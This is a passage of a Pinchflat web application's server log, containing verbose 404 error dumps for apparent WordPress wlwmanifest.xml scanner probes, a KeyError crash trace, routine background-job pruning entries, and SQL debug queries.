"accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17561.0>, params: %{}, path_info: ["test", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//test/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjq5o6VF2OxFEACC6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17561.0>, params: %{}, path_info: ["test", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", (truncated) 10:08:06.297 [info] GET //cms/wp-includes/wlwmanifest.xml 10:08:06.298 [debug] QUERY OK source="settings" db=0.1ms idle=1432.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:06.298 [debug] QUERY OK source="settings" db=0.1ms idle=1011.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:08:06.298 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:08:06.298 [error] #PID<0.17562.0> running PinchflatWeb.Endpoint (connection #PID<0.17554.0>, stream id 8) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //cms/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17562.0>, params: %{}, path_info: ["cms", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//cms/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGjq8TS-a_O3-kACC8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17554.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 51676}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17562.0>, params: %{}, path_info: ["cms", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :ph (truncated) 10:08:19.502 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:49.503 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.573 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:09:19.504 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:49.506 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.574 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:10:19.507 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:49.508 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.575 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:11:19.509 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:49.510 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.576 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:12:19.512 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:49.513 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.577 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:13:19.514 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:49.515 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.578 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:14:19.516 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:49.517 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.579 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:15:19.519 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:49.520 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.580 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:16:19.522 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:49.524 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.581 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:17:19.525 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:49.526 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.582 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:18:19.527 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:49.528 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.583 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:19:19.529 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:49.530 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.584 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:20:19.531 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:49.532 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.585 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:21:19.534 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:49.535 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.586 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:22:19.536 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:49.537 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.588 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:23:19.538 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:49.539 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.588 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:24:19.540 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:49.541 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.589 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:25:19.542 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:49.543 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.590 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:26:19.544 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:49.545 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.591 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:27:19.547 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:49.548 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.592 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:28:19.550 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:49.551 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.594 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:29:19.552 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:43.790 [info] GET / 10:29:43.791 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 10:29:43.791 [debug] QUERY OK source="settings" db=0.1ms idle=1093.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:43.791 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1093.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 10:29:43.792 [debug] QUERY OK source="sources" db=0.1ms idle=1063.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 10:29:43.802 [debug] QUERY OK source="media_items" db=10.3ms idle=94.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:29:43.803 [debug] QUERY OK source="media_items" db=0.4ms idle=73.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:29:43.803 [debug] QUERY OK source="settings" db=0.1ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:43.803 [debug] QUERY OK source="settings" db=0.1ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:43.804 [debug] QUERY OK source="settings" db=0.1ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:43.804 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 10:29:43.805 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:29:43.805 [debug] QUERY OK source="media_items" db=0.4ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:29:43.806 [debug] QUERY OK source="sources" db=0.2ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 10:29:43.808 [debug] QUERY OK source="media_items" db=0.8ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 10:29:43.809 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:29:43.810 